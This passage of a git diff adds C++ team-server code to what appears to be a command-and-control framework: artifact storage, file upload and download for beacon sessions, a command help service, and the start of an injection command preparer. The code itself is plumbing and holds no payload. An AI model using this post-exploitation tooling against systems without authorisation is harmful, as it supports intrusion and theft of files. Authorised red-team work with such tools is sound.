+TeamServerPreparedDownloadArtifact TeamServerFileArtifactService::prepareGeneratedFileArtifact( + const TeamServerGeneratedFileArtifactSpec& spec) const +{ + TeamServerPreparedDownloadArtifact result; + if (spec.remotePath.empty()) + { + result.message = "Missing artifact source path."; + return result; + } + + const std::string category = spec.category.empty() ? "download" : spec.category; + const std::string source = spec.source.empty() ? "beacon" : spec.source; + std::string displayName = spec.nameHint.empty() ? basename(spec.remotePath) : basename(spec.nameHint); + displayName = sanitizeName(displayName.empty() ? category + ".bin" : displayName); + const std::string fileName = uniquePrefix() + "-" + displayName; + const fs::path root = fs::path(m_runtimeConfig.generatedArtifactsDirectoryPath) / category / source; + std::error_code ec; + fs::create_directories(root, ec); + if (ec) + { + result.message = "Generated artifact directory could not be created: " + ec.message(); + return result; + } + + const fs::path artifactPath = root / fileName; + json pending; + pending["name_hint"] = displayName; + pending["category"] = category; + pending["scope"] = spec.scope.empty() ? "generated" : spec.scope; + pending["target"] = spec.target.empty() ? "teamserver" : spec.target; + pending["platform"] = platformName(spec.isWindows); + pending["arch"] = normalizeArch(spec.isWindows, spec.arch, m_runtimeConfig); + pending["format"] = spec.format.empty() ? detectFormat(displayName) : spec.format; + pending["runtime"] = spec.runtime.empty() ? "file" : spec.runtime; + pending["source"] = source; + pending["description"] = spec.description; + pending["tags"] = spec.tags; + pending["remote_path"] = spec.remotePath; + pending["write_result_data"] = spec.writeResultData; + + std::ofstream pendingOutput(pendingPathFor(artifactPath.string()), std::ios::binary); + if (!pendingOutput.good()) + { + result.message = "Download artifact metadata could not be created."; + return result; + } + pendingOutput << pending.dump(2); + pendingOutput.close(); + if (!pendingOutput.good()) + { + fs::remove(pendingPathFor(artifactPath.string()), ec); + result.message = "Download artifact metadata could not be written."; + return result; + } + + result.ok = true; + result.path = artifactPath.string(); + result.displayName = displayName; + return result; +} + +bool TeamServerFileArtifactService::shouldKeepCommandContext(const C2Message& c2Message) const +{ + const fs::path pendingPath = pendingPathFor(c2Message.outputfile()); + std::error_code ec; + return !c2Message.outputfile().empty() + && fs::exists(pendingPath, ec) + && c2Message.errorCode() == -1 + && !isSuccess(c2Message); +} + +bool TeamServerFileArtifactService::handleCommandResult(const C2Message& c2Message, std::string& outputMessage) const +{ + outputMessage.clear(); + if (c2Message.outputfile().empty()) + return false; + + const fs::path artifactPath = c2Message.outputfile(); + const fs::path pendingPath = pendingPathFor(c2Message.outputfile()); + std::error_code ec; + if (!fs::exists(pendingPath, ec)) + return false; + + if (c2Message.errorCode() > 0) + { + fs::remove(artifactPath, ec); + fs::remove(pendingPath, ec); + if (m_logger) + m_logger->warn("Discarded pending generated artifact after beacon error: {}", artifactPath.string()); + return true; + } + + std::ifstream pendingInput(pendingPath); + json metadata = json::parse(pendingInput, nullptr, false); + if (metadata.is_discarded() || !metadata.is_object()) + { + outputMessage = "Generated artifact metadata is invalid: " + artifactPath.string(); + return true; + } + + const bool writeResultData = jsonBool(metadata, "write_result_data", false); + if (writeResultData && !c2Message.data().empty()) + { + fs::create_directories(artifactPath.parent_path(), ec); + if (ec) + { + outputMessage = "Generated artifact directory could not be created: " + ec.message(); + return true; + } + + const bool firstChunk = c2Message.args() == "0"; + std::ofstream output( + artifactPath, + std::ios::binary | (firstChunk ? std::ios::trunc : std::ios::app)); + if (!output.good()) + { + outputMessage = "Generated artifact payload could not be opened: " + artifactPath.string(); + return true; + } + output.write(c2Message.data().data(), static_cast(c2Message.data().size())); + output.close(); + if (!output.good()) + { + outputMessage = "Generated artifact payload could not be written: " + artifactPath.string(); + return true; + } + } + + if (!isSuccess(c2Message)) + return true; + + if (!m_generatedArtifactStore) + { + outputMessage = "Generated artifact completed, but generated artifact store is not available: " + artifactPath.string(); + return true; + } + + TeamServerGeneratedArtifactRequest request; + request.nameHint = jsonString(metadata, "name_hint", artifactPath.filename().string()); + request.category = jsonString(metadata, "category", "download"); + request.scope = jsonString(metadata, "scope", "generated"); + request.target = jsonString(metadata, "target", "teamserver"); + request.platform = jsonString(metadata, "platform", "any"); + request.arch = jsonString(metadata, "arch", "any"); + request.format = jsonString(metadata, "format", detectFormat(artifactPath.filename().string())); + request.runtime = jsonString(metadata, "runtime", "file"); + request.source = jsonString(metadata, "source", "beacon"); + request.description = jsonString(metadata, "description"); + request.tags = jsonStringList(metadata, "tags"); + + TeamServerGeneratedArtifactRecord artifact = m_generatedArtifactStore->registerExistingFile(request, artifactPath.string()); + if (artifact.path.empty()) + { + outputMessage = "Generated artifact completed, but registration failed: " + artifactPath.string(); + return true; + } + + fs::remove(pendingPath, ec); + const std::string category = jsonString(metadata, "category", "download"); + outputMessage = (category == "download" ? "Downloaded artifact stored: " : "Generated artifact stored: ") + artifact.name; + if (m_logger) + m_logger->info("Registered generated artifact {}", artifact.path); + return true; +} diff --git a/teamServer/teamServer/TeamServerFileArtifactService.hpp b/teamServer/teamServer/TeamServerFileArtifactService.hpp new file mode 100644 index 0000000..9aa3622 --- /dev/null +++ b/teamServer/teamServer/TeamServerFileArtifactService.hpp @@ -0,0 +1,82 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerArtifactCatalog.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "modules/ModuleCmd/C2Message.hpp" +#include "spdlog/logger.h" + +struct TeamServerPreparedInputArtifact +{ + bool ok = false; + std::string message; + TeamServerArtifactRecord artifact; + std::string bytes; +}; + +struct TeamServerPreparedDownloadArtifact +{ + bool ok = false; + std::string message; + std::string path; + std::string displayName; +}; + +struct TeamServerGeneratedFileArtifactSpec +{ + std::string remotePath; + std::string nameHint; + std::string category = "download"; + std::string scope = "generated"; + std::string target = "teamserver"; + std::string format; + std::string runtime = "file"; + std::string source = "beacon"; + std::string description; + std::vector tags; + bool isWindows = true; + std::string arch; + bool writeResultData = false; +}; + +class TeamServerFileArtifactService +{ +public: + TeamServerFileArtifactService( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr generatedArtifactStore); + + TeamServerPreparedInputArtifact resolveUploadArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const; + TeamServerPreparedInputArtifact resolveScriptArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const; + TeamServerPreparedInputArtifact resolveToolArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const; + + TeamServerPreparedDownloadArtifact prepareDownloadArtifact( + const std::string& remotePath, + const std::string& nameHint, + bool isWindows, + const std::string& arch) const; + TeamServerPreparedDownloadArtifact prepareGeneratedFileArtifact( + const TeamServerGeneratedFileArtifactSpec& spec) const; + + bool shouldKeepCommandContext(const C2Message& c2Message) const; + bool handleCommandResult(const C2Message& c2Message, std::string& outputMessage) const; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_generatedArtifactStore; +}; diff --git a/teamServer/teamServer/TeamServerFileTransferCommandPreparer.cpp b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.cpp new file mode 100644 index 0000000..5894ac4 --- /dev/null +++ b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.cpp @@ -0,0 +1,139 @@ +#include "TeamServerFileTransferCommandPreparer.hpp" + +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} +} // namespace + +TeamServerFileTransferCommandPreparer::TeamServerFileTransferCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerFileTransferCommandPreparer::canPrepare(const std::string& instruction) const +{ + const std::string lowered = toLower(instruction); + return lowered == "download" || lowered == "upload"; +} + +TeamServerCommandPreparerResult TeamServerFileTransferCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + if (toLower(context.tokens.empty() ? "" : context.tokens[0]) == "download") + return prepareDownload(context, c2Message); + return prepareUpload(context, c2Message); +} + +bool TeamServerFileTransferCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} + +TeamServerCommandPreparerResult TeamServerFileTransferCommandPreparer::prepareDownload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + if (!hasModule("download")) + return handledError(c2Message, "Module download not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || tokens.size() > 3) + return handledError(c2Message, "Usage: download [artifact_name]\n"); + + const std::string& remotePath = tokens[1]; + const std::string nameHint = tokens.size() == 3 ? tokens[2] : ""; + TeamServerPreparedDownloadArtifact artifact = m_fileArtifactService->prepareDownloadArtifact( + remotePath, + nameHint, + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("download"); + c2Message.set_inputfile(remotePath); + c2Message.set_outputfile(artifact.path); + result.status = 0; + if (m_logger) + m_logger->info("Prepared download artifact path {}", artifact.path); + return result; +} + +TeamServerCommandPreparerResult TeamServerFileTransferCommandPreparer::prepareUpload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + if (!hasModule("upload")) + return handledError(c2Message, "Module upload not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::vector tokens = regroup(context.tokens); + if (tokens.size() != 3) + return handledError(c2Message, "Usage: upload \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveUploadArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("upload"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_outputfile(tokens[2]); + c2Message.set_data(artifact.bytes); + result.status = 0; + if (m_logger) + m_logger->info("Prepared upload artifact {} -> {}", artifact.artifact.name, tokens[2]); + return result; +} diff --git a/teamServer/teamServer/TeamServerFileTransferCommandPreparer.hpp b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.hpp new file mode 100644 index 0000000..4f92155 --- /dev/null +++ b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.hpp @@ -0,0 +1,37 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerFileTransferCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerFileTransferCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + TeamServerCommandPreparerResult prepareDownload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareUpload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp b/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp new file mode 100644 index 0000000..c344df0 --- /dev/null +++ b/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp @@ -0,0 +1,251 @@ +#include "TeamServerGeneratedArtifactStore.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nlohmann/json.hpp" + +namespace fs = std::filesystem; +using json = nlohmann::json; + +namespace +{ +std::string bytesToHex(const unsigned char* bytes, unsigned int length) +{ + std::ostringstream output; + output << std::hex << std::setfill('0'); + for (unsigned int index = 0; index < length; ++index) + output << std::setw(2) << static_cast(bytes[index]); + return output.str(); +} + +std::string sha256String(const std::string& value) +{ + std::array digest = {}; + unsigned int digestLength = 0; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + const bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1 + && EVP_DigestUpdate(context, value.data(), value.size()) == 1 + && EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +std::string sha256File(const fs::path& path) +{ + std::ifstream input(path, std::ios::binary); + if (!input.good()) + return ""; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1; + std::array buffer = {}; + while (ok && input.good()) + { + input.read(buffer.data(), static_cast(buffer.size())); + const std::streamsize bytesRead = input.gcount(); + if (bytesRead > 0) + ok = EVP_DigestUpdate(context, buffer.data(), static_cast(bytesRead)) == 1; + } + + std::array digest = {}; + unsigned int digestLength = 0; + if (ok) + ok = EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +bool isPathWithinRoot(const fs::path& path, const fs::path& root) +{ + std::error_code ec; + const fs::path canonicalRoot = fs::weakly_canonical(root, ec); + if (ec) + return false; + + const fs::path canonicalPath = fs::weakly_canonical(path, ec); + if (ec) + return false; + + auto rootIt = canonicalRoot.begin(); + auto pathIt = canonicalPath.begin(); + for (; rootIt != canonicalRoot.end(); ++rootIt, ++pathIt) + { + if (pathIt == canonicalPath.end() || *pathIt != *rootIt) + return false; + } + return true; +} + +std::string sanitizeName(std::string value) +{ + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + value.erase(std::remove(value.begin(), value.end(), '/'), value.end()); + value.erase(std::remove(value.begin(), value.end(), '\\'), value.end()); + if (value.empty()) + value = "artifact.bin"; + return value; +} + +std::string artifactIdFor(const TeamServerGeneratedArtifactRequest& request, const std::string& name, const std::string& sha256) +{ + return sha256String( + request.source + "\n" + + request.category + "\n" + + request.target + "\n" + + request.platform + "\n" + + request.arch + "\n" + + request.runtime + "\n" + + name + "\n" + + sha256); +} + +bool writeSidecar( + const fs::path& artifactPath, + const TeamServerGeneratedArtifactRequest& request, + const TeamServerGeneratedArtifactRecord& record, + const std::string& format) +{ + json sidecar; + sidecar["artifact_id"] = record.artifactId; + sidecar["file"] = artifactPath.filename().string(); + sidecar["name"] = record.name; + sidecar["display_name"] = record.displayName; + sidecar["category"] = request.category; + sidecar["scope"] = request.scope; + sidecar["target"] = request.target; + sidecar["platform"] = request.platform; + sidecar["arch"] = request.arch; + sidecar["format"] = format; + sidecar["runtime"] = request.runtime; + sidecar["source"] = request.source; + sidecar["sha256"] = record.sha256; + sidecar["description"] = request.description; + sidecar["tags"] = request.tags; + + std::ofstream sidecarOutput(artifactPath.string() + ".artifact.json", std::ios::binary); + if (!sidecarOutput.good()) + return false; + sidecarOutput << sidecar.dump(2); + sidecarOutput.close(); + return sidecarOutput.good(); +} +} // namespace + +TeamServerGeneratedArtifactStore::TeamServerGeneratedArtifactStore(TeamServerRuntimeConfig runtimeConfig) + : m_runtimeConfig(std::move(runtimeConfig)) +{ +} + +TeamServerGeneratedArtifactRecord TeamServerGeneratedArtifactStore::store(const TeamServerGeneratedArtifactRequest& request) const +{ + TeamServerGeneratedArtifactRecord record; + if (request.bytes.empty()) + return record; + + const std::string sha256 = sha256String(request.bytes); + if (sha256.empty()) + return record; + + std::string displayName = sanitizeName(request.nameHint); + if (displayName.find('.') == std::string::npos && !request.format.empty()) + displayName += "." + request.format; + const std::string name = sha256.substr(0, 12) + "-" + displayName; + + const fs::path root = fs::path(m_runtimeConfig.generatedArtifactsDirectoryPath) + / request.category + / request.source; + std::error_code ec; + fs::create_directories(root, ec); + if (ec) + return record; + + const fs::path artifactPath = root / name; + std::ofstream output(artifactPath, std::ios::binary); + if (!output.good()) + return record; + output.write(request.bytes.data(), static_cast(request.bytes.size())); + output.close(); + + record.artifactId = artifactIdFor(request, name, sha256); + record.path = artifactPath.string(); + record.name = name; + record.displayName = displayName; + record.sha256 = sha256; + record.size = static_cast(request.bytes.size()); + + if (!writeSidecar(artifactPath, request, record, request.format)) + { + fs::remove(artifactPath, ec); + fs::remove(artifactPath.string() + ".artifact.json", ec); + return {}; + } + + return record; +} + +TeamServerGeneratedArtifactRecord TeamServerGeneratedArtifactStore::registerExistingFile( + const TeamServerGeneratedArtifactRequest& request, + const std::string& filePath) const +{ + TeamServerGeneratedArtifactRecord record; + const fs::path artifactPath = filePath; + std::error_code ec; + if (filePath.empty() || !fs::exists(artifactPath, ec) || !fs::is_regular_file(artifactPath, ec)) + return record; + + const fs::path root = m_runtimeConfig.generatedArtifactsDirectoryPath; + if (!isPathWithinRoot(artifactPath, root)) + return record; + + const std::string sha256 = sha256File(artifactPath); + if (sha256.empty()) + return record; + + std::string displayName = request.nameHint.empty() + ? artifactPath.filename().string() + : sanitizeName(request.nameHint); + const std::string name = artifactPath.filename().string(); + + record.artifactId = artifactIdFor(request, name, sha256); + record.path = artifactPath.string(); + record.name = name; + record.displayName = displayName; + record.sha256 = sha256; + record.size = static_cast(fs::file_size(artifactPath, ec)); + if (ec) + record.size = 0; + + if (!writeSidecar(artifactPath, request, record, request.format)) + { + fs::remove(artifactPath.string() + ".artifact.json", ec); + return {}; + } + + return record; +} diff --git a/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp b/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp new file mode 100644 index 0000000..48d513b --- /dev/null +++ b/teamServer/teamServer/TeamServerGeneratedArtifactStore.hpp @@ -0,0 +1,47 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerRuntimeConfig.hpp" + +struct TeamServerGeneratedArtifactRequest +{ + std::string nameHint; + std::string bytes; + std::string category = "payload"; + std::string scope = "generated"; + std::string target = "beacon"; + std::string platform = "any"; + std::string arch = "any"; + std::string format = "bin"; + std::string runtime = "shellcode"; + std::string source = "generated"; + std::string description; + std::vector tags; +}; + +struct TeamServerGeneratedArtifactRecord +{ + std::string artifactId; + std::string path; + std::string name; + std::string displayName; + std::string sha256; + std::int64_t size = 0; +}; + +class TeamServerGeneratedArtifactStore +{ +public: + explicit TeamServerGeneratedArtifactStore(TeamServerRuntimeConfig runtimeConfig); + + TeamServerGeneratedArtifactRecord store(const TeamServerGeneratedArtifactRequest& request) const; + TeamServerGeneratedArtifactRecord registerExistingFile( + const TeamServerGeneratedArtifactRequest& request, + const std::string& filePath) const; + +private: + TeamServerRuntimeConfig m_runtimeConfig; +}; diff --git a/teamServer/teamServer/TeamServerHelpService.cpp b/teamServer/teamServer/TeamServerHelpService.cpp index 36e0254..2c38550 100644 --- a/teamServer/teamServer/TeamServerHelpService.cpp +++ b/teamServer/teamServer/TeamServerHelpService.cpp @@ -1,6 +1,11 @@ #include "TeamServerHelpService.hpp" +#include +#include +#include +#include #include +#include #include #include "modules/ModuleCmd/Common.hpp" @@ -8,17 +13,96 @@ namespace { const std::string HelpCmd = "help"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +bool equalsCaseInsensitive(const std::string& left, const std::string& right) +{ + return toLower(left) == toLower(right); +} + +std::string joinList(const std::vector& values, const std::string& fallback = "") +{ + if (values.empty()) + return fallback; + + std::ostringstream output; + for (size_t i = 0; i < values.size(); ++i) + { + if (i > 0) + output << ", "; + output << values[i]; + } + return output.str(); +} + +std::string displayKind(const std::string& kind) +{ + const std::string lowered = toLower(kind); + if (lowered == "common") + return "Common Commands"; + if (lowered == "module") + return "Module Commands"; + if (lowered == "operator") + return "Operator Commands"; + if (kind.empty()) + return "Commands"; + return kind + " Commands"; +} + +void appendArtifactFilter(std::ostringstream& output, const TeamServerCommandArtifactFilter& filter) +{ + std::vector parts; + if (!filter.category.empty()) + parts.push_back("category=" + filter.category); + if (!filter.scope.empty()) + parts.push_back("scope=" + filter.scope); + if (!filter.target.empty()) + parts.push_back("target=" + filter.target); + if (!filter.platform.empty()) + parts.push_back("platform=" + filter.platform); + if (!filter.arch.empty()) + parts.push_back("arch=" + filter.arch); + if (!filter.runtime.empty()) + parts.push_back("runtime=" + filter.runtime); + if (!filter.format.empty()) + parts.push_back("format=" + filter.format); + if (!filter.nameContains.empty()) + parts.push_back("name_contains=" + filter.nameContains); + + if (!parts.empty()) + output << "\n Artifact filter: " << joinList(parts); +} + +std::string argUsageToken(const TeamServerCommandArgSpec& arg) +{ + std::string token = arg.name.empty() ? "arg" : arg.name; + if (arg.variadic) + token += "..."; + if (arg.required) + return "<" + token + ">"; + return "[" + token + "]"; +} } TeamServerHelpService::TeamServerHelpService( std::shared_ptr logger, std::vector>& listeners, std::vector>& moduleCmd, - CommonCommands& commonCommands) + CommonCommands& commonCommands, + TeamServerCommandCatalog catalog) : m_logger(std::move(logger)), m_listeners(listeners), m_moduleCmd(moduleCmd), - m_commonCommands(commonCommands) + m_commonCommands(commonCommands), + m_catalog(std::move(catalog)) { } @@ -37,7 +121,7 @@ grpc::Status TeamServerHelpService::getHelp(const teamserverapi::CommandHelpRequ if (!splitedCmd.empty() && splitedCmd[0] == HelpCmd) { if (splitedCmd.size() < 2) - output = buildGeneralHelp(isWindowsSession(beaconHash, listenerHash)); + output = buildGeneralHelp(sessionPlatform(beaconHash, listenerHash)); else output = buildSpecificHelp(splitedCmd[1]); } @@ -54,7 +138,7 @@ grpc::Status TeamServerHelpService::getHelp(const teamserverapi::CommandHelpRequ return grpc::Status::OK; } -bool TeamServerHelpService::isWindowsSession(const std::string& beaconHash, const std::string& listenerHash) const +std::string TeamServerHelpService::sessionPlatform(const std::string& beaconHash, const std::string& listenerHash) const { for (const std::shared_ptr& listener : m_listeners) { @@ -62,13 +146,146 @@ bool TeamServerHelpService::isWindowsSession(const std::string& beaconHash, cons continue; std::shared_ptr session = listener->getSessionPtr(beaconHash, listenerHash); - return session && session->getOs() == "Windows"; + if (!session) + return ""; + + const std::string os = toLower(session->getOs()); + if (os.find("windows") != std::string::npos || os.rfind("win", 0) == 0) + return "windows"; + if (os.find("linux") != std::string::npos) + return "linux"; + return ""; + } + + return ""; +} + +std::string TeamServerHelpService::buildGeneralHelp(const std::string& platform) const +{ + TeamServerCommandQuery query; + query.platform = platform; + const std::vector commands = m_catalog.listCommands(query); + if (commands.empty()) + return buildLegacyGeneralHelp(platform == "windows"); + + std::map> commandsByKind; + for (const TeamServerCommandSpecRecord& command : commands) + commandsByKind[command.kind].push_back(command); + + std::ostringstream output; + output << "Available commands"; + if (!platform.empty()) + output << " for " << platform; + output << ":\n"; + output << "Use help for command-specific details.\n"; + + const std::vector preferredOrder = {"common", "module", "operator"}; + for (const std::string& kind : preferredOrder) + { + auto it = commandsByKind.find(kind); + if (it == commandsByKind.end()) + continue; + + output << "\n- " << displayKind(kind) << ":\n"; + for (const TeamServerCommandSpecRecord& command : it->second) + { + output << " " << command.name; + if (!command.description.empty()) + output << " - " << command.description; + output << "\n"; + } + commandsByKind.erase(it); } + for (const auto& [kind, remainingCommands] : commandsByKind) + { + output << "\n- " << displayKind(kind) << ":\n"; + for (const TeamServerCommandSpecRecord& command : remainingCommands) + { + output << " " << command.name; + if (!command.description.empty()) + output << " - " << command.description; + output << "\n"; + } + } + + return output.str(); +} + +std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruction) const +{ + TeamServerCommandSpecRecord command; + if (findCommandSpec(instruction, command)) + return formatCommandHelp(command); + + return buildLegacySpecificHelp(instruction); +} + +bool TeamServerHelpService::findCommandSpec(const std::string& instruction, TeamServerCommandSpecRecord& command) const +{ + TeamServerCommandQuery query; + query.nameContains = instruction; + const std::vector candidates = m_catalog.listCommands(query); + for (const TeamServerCommandSpecRecord& candidate : candidates) + { + if (equalsCaseInsensitive(candidate.name, instruction)) + { + command = candidate; + return true; + } + } return false; } -std::string TeamServerHelpService::buildGeneralHelp(bool isWindows) const +std::string TeamServerHelpService::formatCommandHelp(const TeamServerCommandSpecRecord& command) const +{ + std::ostringstream output; + output << command.name << "\n"; + if (!command.description.empty()) + output << command.description << "\n"; + + output << "\nUsage: " << command.name; + for (const TeamServerCommandArgSpec& arg : command.args) + output << " " << argUsageToken(arg); + output << "\n"; + + output << "\nKind: " << (command.kind.empty() ? "unknown" : command.kind) << "\n"; + output << "Target: " << (command.target.empty() ? "unknown" : command.target) << "\n"; + output << "Requires session: " << (command.requiresSession ? "yes" : "no") << "\n"; + output << "Platforms: " << joinList(command.platforms, "any") << "\n"; + output << "Archs: " << joinList(command.archs, "any") << "\n"; + + if (!command.args.empty()) + { + output << "\nArguments:\n"; + for (const TeamServerCommandArgSpec& arg : command.args) + { + output << " " << argUsageToken(arg) << " (" << (arg.type.empty() ? "text" : arg.type); + output << (arg.required ? ", required" : ", optional"); + if (arg.variadic) + output << ", variadic"; + output << ")"; + if (!arg.description.empty()) + output << " - " << arg.description; + if (!arg.values.empty()) + output << "\n Values: " << joinList(arg.values); + if (arg.hasArtifactFilter) + appendArtifactFilter(output, arg.artifactFilter); + output << "\n"; + } + } + + if (!command.examples.empty()) + { + output << "\nExamples:\n"; + for (const std::string& example : command.examples) + output << " " << example << "\n"; + } + + return output.str(); +} + +std::string TeamServerHelpService::buildLegacyGeneralHelp(bool isWindows) const { std::string output; output += "- Beacon Commands:\n"; @@ -103,10 +320,9 @@ std::string TeamServerHelpService::buildGeneralHelp(bool isWindows) const return output; } -std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruction) const +std::string TeamServerHelpService::buildLegacySpecificHelp(const std::string& instruction) const { std::string output; - bool isModuleFound = false; for (int i = 0; i < m_commonCommands.getNumberOfCommand(); i++) { @@ -114,7 +330,6 @@ std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruct { output += m_commonCommands.getHelp(instruction); output += "\n"; - isModuleFound = true; } } @@ -124,16 +339,8 @@ std::string TeamServerHelpService::buildSpecificHelp(const std::string& instruct { output += module->getInfo(); output += "\n"; - isModuleFound = true; } } - if (!isModuleFound) - { - output += "Module "; - output += instruction; - output += " not found.\n"; - } - return output; } diff --git a/teamServer/teamServer/TeamServerHelpService.hpp b/teamServer/teamServer/TeamServerHelpService.hpp index 6196965..1bc31bd 100644 --- a/teamServer/teamServer/TeamServerHelpService.hpp +++ b/teamServer/teamServer/TeamServerHelpService.hpp @@ -7,6 +7,7 @@ #include #include "TeamServerApi.pb.h" +#include "TeamServerCommandCatalog.hpp" #include "listener/Listener.hpp" #include "modules/ModuleCmd/CommonCommand.hpp" #include "modules/ModuleCmd/ModuleCmd.hpp" @@ -19,17 +20,23 @@ class TeamServerHelpService std::shared_ptr logger, std::vector>& listeners, std::vector>& moduleCmd, - CommonCommands& commonCommands); + CommonCommands& commonCommands, + TeamServerCommandCatalog catalog); grpc::Status getHelp(const teamserverapi::CommandHelpRequest& command, teamserverapi::CommandHelpResponse* commandResponse) const; private: - bool isWindowsSession(const std::string& beaconHash, const std::string& listenerHash) const; - std::string buildGeneralHelp(bool isWindows) const; + std::string sessionPlatform(const std::string& beaconHash, const std::string& listenerHash) const; + std::string buildGeneralHelp(const std::string& platform) const; std::string buildSpecificHelp(const std::string& instruction) const; + std::string buildLegacyGeneralHelp(bool isWindows) const; + std::string buildLegacySpecificHelp(const std::string& instruction) const; + bool findCommandSpec(const std::string& instruction, TeamServerCommandSpecRecord& command) const; + std::string formatCommandHelp(const TeamServerCommandSpecRecord& command) const; std::shared_ptr m_logger; std::vector>& m_listeners; std::vector>& m_moduleCmd; CommonCommands& m_commonCommands; + TeamServerCommandCatalog m_catalog; }; diff --git a/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp b/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp new file mode 100644 index 0000000..2f1c0be --- /dev/null +++ b/teamServer/teamServer/TeamServerInjectCommandPreparer.cpp @@ -0,0 +1,144 @@ +#include "TeamServerInjectCommandPreparer.hpp" + +#include +#include +#include + +#include "modules/Inject/InjectCommandOptions.hpp" + +namespace fs = std::filesystem; + +namespace +{ +std::string resolveSourcePath( + const TeamServerRuntimeConfig& runtimeConfig, + const std::string& path, + const std::string& windowsArch) +{ + if (path.empty()) + return ""; + if (fs::exists(path)) + return path; + + const std::array toolCandidates = { + fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / windowsArch / path, + fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / path, + fs::path(runtimeConfig.toolsDirectoryPath) / path, + }; + for (const fs::path& toolPath : toolCandidates) + { + if (fs::exists(toolPath)) + return toolPath.string(); + } + + fs::path beaconPath = fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / path; + if (fs::exists(beaconPath)) + return beaconPath.string(); + + fs::path archBeaconPath = fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / windowsArch / path; + if (fs::exists(archBeaconPath)) + return archBeaconPath.string(); + + return path; +} + +ModuleCmd* findModule(std::vector>& modules, const std::string& name) +{ + const std::string loweredName = 